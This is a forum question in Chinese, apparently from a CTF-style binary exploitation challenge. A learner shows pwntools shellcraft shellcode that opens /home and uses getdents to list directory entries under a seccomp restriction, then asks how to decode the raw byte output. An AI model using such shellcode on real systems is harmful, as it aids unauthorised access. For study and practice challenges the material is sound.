0

这几天我正在尝试学习二进制利用。所以我遇到了一个挑战,我无法执行 shell(因为 seccomp),我也不知道标志的名称。所以我不得不使用getdents列出所有目录。我写了这个小脚本:

    shellcode = shellcraft.open("/home", oflag=constants.O_DIRECTORY)
    shellcode += shellcraft.getdents('rax', bss_segment, 250)
    shellcode += shellcraft.write(1, bss_segment, 250)
    shellcode = asm(shellcode)

然而,当我发送这个漏洞时,我得到一个奇怪的输出:

b'\xea\xf5\r\x00\x00\x00\x00\x00\xe0@\xe9\x80\xc2\n\xb0l\x18\x00.\x00H\x7f\x00\x044\xd4+\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x18\x00..\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.inld\x01\x01\x01H1\x04$H\x89\xe71\xd2\xbe\x01\x01\x02\x01\x81\xf6\x01\x01\x03\x01j\x02X\x0f\x05H\x89\xc71\xd2\xb2\xfa\xbe\x01\x01\x01\x01\x81\xf6\x81\x11a\x01jNX\x0f\x05j\x01_1\xd2\xb2\xfa\xbe\x01\x01\x01\x01\x81\xf6\x81\x11a\x01j\x01X\x0f\x05\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

所以我的问题是如何解码这个输出?

4

0 回答 0